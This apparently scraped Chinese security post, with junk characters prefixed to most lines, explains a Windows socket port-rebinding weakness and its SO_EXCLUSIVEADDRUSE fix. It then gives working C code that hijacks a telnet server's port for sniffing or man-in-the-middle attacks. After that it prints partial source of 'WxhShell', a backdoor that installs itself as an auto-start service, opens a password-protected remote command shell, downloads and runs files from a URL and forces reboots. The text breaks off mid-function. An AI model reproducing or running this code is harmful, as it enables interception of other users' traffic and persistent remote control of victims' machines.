在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
5hz_P+Q s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
oHsP?%U }]GbUC!Zb saddr.sin_family = AF_INET;
Efr3x{ j B5`;MQJ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
$W, zO|- }`]]b+_b>@ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
61,O%lV -0DZ:: 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
AT ymKJ .vaJ Avg 这意味着什么?意味着可以进行如下的攻击:
3#mE(
`|P \(bj(any 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
{aIZFe}B Pz1G<eh#{g 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
A]xCF{*)& zq=&4afOE 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
UN(3i(d 8]]@S"ZM,\ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
pN+I]NgQ xT=ySa$|> 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
%omu r0u J$/! 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
8<c'x]~ Q@Dkl
F 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
`u=oeM: N'a?wBBR
#include
oX{@'B #include
//tT8HX #include
FE}s#n_Pd #include
B
G5X_s0/ DWORD WINAPI ClientThread(LPVOID lpParam);
)w3
, int main()
Rdj8*f {
cqjl5UB WORD wVersionRequested;
J@gm@ jLc DWORD ret;
1yJ75/ WSADATA wsaData;
T+(M8qb BOOL val;
n{$}#NdV SOCKADDR_IN saddr;
$r):d SOCKADDR_IN scaddr;
0}D-KvjyP int err;
7?,7TR2Ny SOCKET s;
L9$&-A9ix SOCKET sc;
Qxky^:B int caddsize;
8XlU%a6x HANDLE mt;
y,V6h*x2 DWORD tid;
qL,ka wVersionRequested = MAKEWORD( 2, 2 );
ETxp#PZ err = WSAStartup( wVersionRequested, &wsaData );
`ReGnT[ if ( err != 0 ) {
&M$Bt} < printf("error!WSAStartup failed!\n");
Xout:dn return -1;
m|lM.]2_ }
u?H@C)P saddr.sin_family = AF_INET;
df^0{gNHx "A]?M<R //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
;*nh=w w"BIv9N saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
lS#7xh saddr.sin_port = htons(23);
*^uGvJXF if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
k?<i*;7 {
'!AT printf("error!socket failed!\n");
)=y.^@UT@ return -1;
*q}FV2 }
k{_1r; val = TRUE;
40R"^* //SO_REUSEADDR选项就是可以实现端口重绑定的
gji*Wq if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
~m!#FTc* {
p?}f|mQS) printf("error!setsockopt failed!\n");
d3og?{i<}& return -1;
|y klT }
1]Gf)| //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Ywmyr[Uh' //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
kp'b>&9r //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
)ni"qv~J Y$>+U if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
cD5w| rm?i {
X{#bJ ret=GetLastError();
KuIkul9^% printf("error!bind failed!\n");
Ih(:HFRMq6 return -1;
fn3*2 }
DE5d]3B listen(s,2);
1X[73 while(1)
=sxkr ih {
I+*osk caddsize = sizeof(scaddr);
fdN45in=> //接受连接请求
R_t~UTfI; sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Yd[U if(sc!=INVALID_SOCKET)
[|y`y% {
]U_5\$ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
)t*S'R if(mt==NULL)
a:=q8Qy {
5BrU'NF printf("Thread Creat Failed!\n");
-)p@BtMS break;
f#*h^91x }
su,`q }
=g/4{IL% CloseHandle(mt);
r;c' NqP }
Qk?jGXB>^ closesocket(s);
i:C.8hmAE WSACleanup();
u
wH)$Pl return 0;
MomLda
V9Q }
G%xb0%oi]% DWORD WINAPI ClientThread(LPVOID lpParam)
1R5Yn( {
=n> iQS SOCKET ss = (SOCKET)lpParam;
` 52%XI SOCKET sc;
fx]\)0n unsigned char buf[4096];
E%-Pyg* SOCKADDR_IN saddr;
7bctx_W&6 long num;
!y.ei1diw DWORD val;
Tm(Q@ DWORD ret;
aeEw# //如果是隐藏端口应用的话,可以在此处加一些判断
~sZqa+jB0 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Is4%}J!8 saddr.sin_family = AF_INET;
:&xz5c`"04 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
{
z-5GH| saddr.sin_port = htons(23);
$Sp*)A]E` if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
sjkWz2]S {
jjJc1 p0 printf("error!socket failed!\n");
MDMtOfe| return -1;
~%olCxfO }
Zkf 3t>[ val = 100;
G>
f^ 2 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
hu bfK~ {
_<u8%\ ret = GetLastError();
!F=|*j return -1;
(%``EIc<8 }
p:DL:^zx if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
+AE&GU {
*ge].E ret = GetLastError();
[5>S-Z return -1;
L9E;Uii0 }
>wz;}9v if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
XkM s {
8QkWgd7y printf("error!socket connect failed!\n");
4M;sD;3 closesocket(sc);
2rK-X_} closesocket(ss);
b@nri5noBm return -1;
d$2@, }
oUW)H while(1)
W?*Xy6",JF {
&"U9X"8b //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
ib5;f0Qa //如果是嗅探内容的话,可以再此处进行内容分析和记录
8m#}S\m //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
[}W^4, num = recv(ss,buf,4096,0);
-/(DPx if(num>0)
{0NsDi>(2 send(sc,buf,num,0);
LK'S)Jk else if(num==0)
XM$5S+e break;
"D
ts* num = recv(sc,buf,4096,0);
Hmz=/.$ if(num>0)
uM6CG0 send(ss,buf,num,0);
@A~B
, else if(num==0)
n/9 LRZD|w break;
yj}bY?4I }
'Z*\1Ci closesocket(ss);
R-r+=x& closesocket(sc);
#~bU}[{ return 0 ;
O:oU`vE }
J6*\>N5W T..N*6<X H(5S Kv5 ==========================================================
2ru*#Z#( ql#{=oGDnA 下边附上一个代码,,WXhSHELL
]Ks]B2Osz TTA{#[=7 ==========================================================
8{}Pj "4Vi=* 2V #include "stdafx.h"
\N#
HPrv} <;$Sa's,LE #include <stdio.h>
ue6/EN;} #include <string.h>
p^pQZ6- #include <windows.h>
"K}W^J9v #include <winsock2.h>
,(@Y%UW: #include <winsvc.h>
Ct =E;v7} #include <urlmon.h>
9[t]] yiv RpSL #pragma comment (lib, "Ws2_32.lib")
j:rs+1bc #pragma comment (lib, "urlmon.lib")
;w>3,ub(0 Hm+6QgCs #define MAX_USER 100 // 最大客户端连接数
C|.$L<` #define BUF_SOCK 200 // sock buffer
|kBg8).B #define KEY_BUFF 255 // 输入 buffer
g[=\KrTSg C,OB3y #define REBOOT 0 // 重启
~,1-$#R #define SHUTDOWN 1 // 关机
i#@ v_^ q )E[
Q #define DEF_PORT 5000 // 监听端口
TRr4`y% )9A<fwpN #define REG_LEN 16 // 注册表键长度
+,vJ7 #define SVC_LEN 80 // NT服务名长度
{L-{Y<fke |*]X\UE // 从dll定义API
F'?5V0\he typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
((RpT0rP\ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
D*d 3w typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
?j&~vy= T typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
gNEzlx8A T;:',T[G // wxhshell配置信息
0btmao- struct WSCFG {
m&3HFf int ws_port; // 监听端口
Ru9pb~K char ws_passstr[REG_LEN]; // 口令
~u?x{[ int ws_autoins; // 安装标记, 1=yes 0=no
}Yo15BN+ char ws_regname[REG_LEN]; // 注册表键名
(zM+7tJH char ws_svcname[REG_LEN]; // 服务名
XqE55Jclp char ws_svcdisp[SVC_LEN]; // 服务显示名
/_zF?5h char ws_svcdesc[SVC_LEN]; // 服务描述信息
6,g5To#vw char ws_passmsg[SVC_LEN]; // 密码输入提示信息
|$.sB|_
N int ws_downexe; // 下载执行标记, 1=yes 0=no
Ybn=Gy char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
9|G=KN)P: char ws_filenam[SVC_LEN]; // 下载后保存的文件名
<@x+N%C U"%8"G0) };
X('Q;^` 0+2Matk>. // default Wxhshell configuration
]mO+<{{4X struct WSCFG wscfg={DEF_PORT,
uc"[ qT(X "xuhuanlingzhe",
COkLn)+0 1,
HhQPgjZ/ "Wxhshell",
PTI'N%W "Wxhshell",
*]>OCGsr "WxhShell Service",
F"@'(b "Wrsky Windows CmdShell Service",
-%/,j)VKD "Please Input Your Password: ",
V)?x*R*T) 1,
!g8.8(/t) "
http://www.wrsky.com/wxhshell.exe",
i/O,`2 "Wxhshell.exe"
2fL88/' };
%.6?\w1e p-(ADQS // 消息定义模块
"'H7F,k' char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
bbPd&7 char *msg_ws_prompt="\n\r? for help\n\r#>";
ee d\0 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
nE"b` char *msg_ws_ext="\n\rExit.";
cnUU1Uz> char *msg_ws_end="\n\rQuit.";
HU'`kimWb char *msg_ws_boot="\n\rReboot...";
|z<wPJ,;2 char *msg_ws_poff="\n\rShutdown...";
DRmh(T char *msg_ws_down="\n\rSave to ";
BI]ut|Qw &_%+r5 char *msg_ws_err="\n\rErr!";
n`I
jG char *msg_ws_ok="\n\rOK!";
n5,Pq+[ I3E8vi%B. char ExeFile[MAX_PATH];
C;:1CK int nUser = 0;
t+)GB=C HANDLE handles[MAX_USER];
WbD C int OsIsNt;
OAnn`*5Up I#6'
NZ SERVICE_STATUS serviceStatus;
RVKaqJ0e< SERVICE_STATUS_HANDLE hServiceStatusHandle;
HI?~t|[y |s3HeY+Co // 函数声明
gZ=9Y:$ int Install(void);
7!yF5+_d int Uninstall(void);
:;#}9g9 int DownloadFile(char *sURL, SOCKET wsh);
2.&V int Boot(int flag);
3L!&~'.Ro void HideProc(void);
L!8?2 \5 int GetOsVer(void);
Y X{ int Wxhshell(SOCKET wsl);
AU?YZEAei void TalkWithClient(void *cs);
KZ
>"L int CmdShell(SOCKET sock);
;eEtdoy int StartFromService(void);
u(G;57ms int StartWxhshell(LPSTR lpCmdLine);
[6gHi.`p' ,HO/Q6;N VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
czsoD)N VOID WINAPI NTServiceHandler( DWORD fdwControl );
F-\8f(\ X'Il:SK // 数据结构和表定义
+n~rM'^4/ SERVICE_TABLE_ENTRY DispatchTable[] =
>`V|`Zi ? {
7Hlh
(k {wscfg.ws_svcname, NTServiceMain},
o?hw2-mH {NULL, NULL}
2F@<{v4 };
{kO:HhUg 3)MM5
bb$ // 自我安装
F4{. 7BT int Install(void)
$mg h.3z0 {
A(sx5Ynp char svExeFile[MAX_PATH];
<^c0bY1 HKEY key;
eS%6hUb strcpy(svExeFile,ExeFile);
`e;Sjf< [&kk // 如果是win9x系统,修改注册表设为自启动
#K*q(ei,7h if(!OsIsNt) {
0$h$7'a if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
w3|.4hS RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Y0C<b*!"ST RegCloseKey(key);
8ewEdnE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
>oYwzK0& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Vw@x RegCloseKey(key);
=y/Lbe}: return 0;
5{f/H]
P }
2Sd6b 2- }
KFG^vmrn }
_IGa8=~ else {
XzFqQ-H BqA wo // 如果是NT以上系统,安装为系统服务
S5vMP
N SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
. ihn@eg if (schSCManager!=0)
%pKs- n` {
=U|SK"oO SC_HANDLE schService = CreateService
`,=p\g|D (
u<r('IW0 schSCManager,
6>7LFV1tvy wscfg.ws_svcname,
*Z(C')7r wscfg.ws_svcdisp,
NGGd6V%'- SERVICE_ALL_ACCESS,
aV#;o9H{ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
XYVeHP! SERVICE_AUTO_START,
D)$k{v#~ SERVICE_ERROR_NORMAL,
_
L6>4 svExeFile,
KAEpFobYo NULL,
O3GaxM\x NULL,
=v"{EmT[$ NULL,
bTKxv< NULL,
uT2cHzqKB NULL
oK[,xqyA );
2xm?,p` if (schService!=0)
jH/%Z5iu {
pDN,(Ip CloseServiceHandle(schService);
ur5n{0# CloseServiceHandle(schSCManager);
(G'ddZAJV strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
IMEoov-x strcat(svExeFile,wscfg.ws_svcname);
i<![i5uAI if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Qp Vm RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
ai2}vR RegCloseKey(key);
5n#&Hjb*F0 return 0;
uf3 gVS_h= }
Ds/zl Z }
_CT|5wQF< CloseServiceHandle(schSCManager);
YZD]<ptR }
yU`IyaazZ }
>r Glj N|d@B{a( return 1;
1 crjRbi }
94/}@<d-= sIM`Q% // 自我卸载
1yf&ck1R int Uninstall(void)
P0<uF`87 {
RmCR"~ HKEY key;
{)xrg sB uWQ.h , if(!OsIsNt) {
M,P_xkLp if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
kM@,^`& RegDeleteValue(key,wscfg.ws_regname);
,.B8hr@H6- RegCloseKey(key);
>~:]+q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
([A;~ p;n RegDeleteValue(key,wscfg.ws_regname);
a1&^P1. RegCloseKey(key);
u^$ CR return 0;
2
r)c? }
=>U~ligu }
EWi@1PAZK }
L K$hV"SYb else {
*@Z'{V\ /e,lD) SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
}#1{GhsS if (schSCManager!=0)
xYq8\9Qb {
V^D#i(5 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
sQ$FtKm6 if (schService!=0)
g$qh(Z_s {
K`sm if(DeleteService(schService)!=0) {
)/Vr 5b@ CloseServiceHandle(schService);
b~p < CloseServiceHandle(schSCManager);
1vr/|RWW return 0;
0J"3RTt }
<f%9w] CloseServiceHandle(schService);
r_",E=e }
JqO( ]*"Hi CloseServiceHandle(schSCManager);
Q]HRg4r }
@QEVl }
9z?F_=PB! YZ}gZQ.A0 return 1;
^/,s$dj }
,^(T^ - ME(!xI//JZ // 从指定url下载文件
{XAKf_Cg int DownloadFile(char *sURL, SOCKET wsh)
-p1arA {
XpGom;z^c HRESULT hr;
#KwFrlZ char seps[]= "/";
hf'3yEm char *token;
8CL05:& char *file;
z t1Q_; char myURL[MAX_PATH];
CfAqMH*ip char myFILE[MAX_PATH];
]PFc8qv{ AxeWj%w@ strcpy(myURL,sURL);
er_aol e token=strtok(myURL,seps);
Sa Nx;xgi while(token!=NULL)
/[IK[ {
5]{YERa' file=token;
Au
{`oxD token=strtok(NULL,seps);
E-/]UH3u H }
o8" [6Ys `yhL11]~ GetCurrentDirectory(MAX_PATH,myFILE);
I|.B-$gH strcat(myFILE, "\\");
1)%o:Xy o strcat(myFILE, file);
k;)L-ge9 send(wsh,myFILE,strlen(myFILE),0);
(z[cf|he send(wsh,"...",3,0);
D@Q|QY5qic hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
YpWu\oP if(hr==S_OK)
.sLx6J% return 0;
eRf8'-"#- else
&,\S<B2. return 1;
hZpFI?lqc\ 9(C
Ke, }
l6O2B/2j `1P
& // 系统电源模块
d&fENnt?h int Boot(int flag)
sU`#d {
p%?R;W`u2 HANDLE hToken;
N>/U%01a TOKEN_PRIVILEGES tkp;
2]7nw1& 29E^]IL? if(OsIsNt) {
Y-Z.AA, OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
8mV35A7l LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Oz+>I^Q tkp.PrivilegeCount = 1;
|OC6yN *P) tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
/g_}5s-Z AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
rsP1?Hxq if(flag==REBOOT) {
X<1# )xC if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
+pE-Yn`YS return 0;
)'qZ6% }
SDot0`s> else {
4Fnr8 r8W if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
(j'[t return 0;
-JcfP+{wS }
O=yUAAD$ }
KQEn C`Nz else {
< B'BlqTS if(flag==REBOOT) {
HK }C<gg if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
m:'fk;khN return 0;
2cww7z/B }
fHM<6i<C else {
d/"e3S1 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
|n~-LH++ return 0;
VPf=LSxJe }
&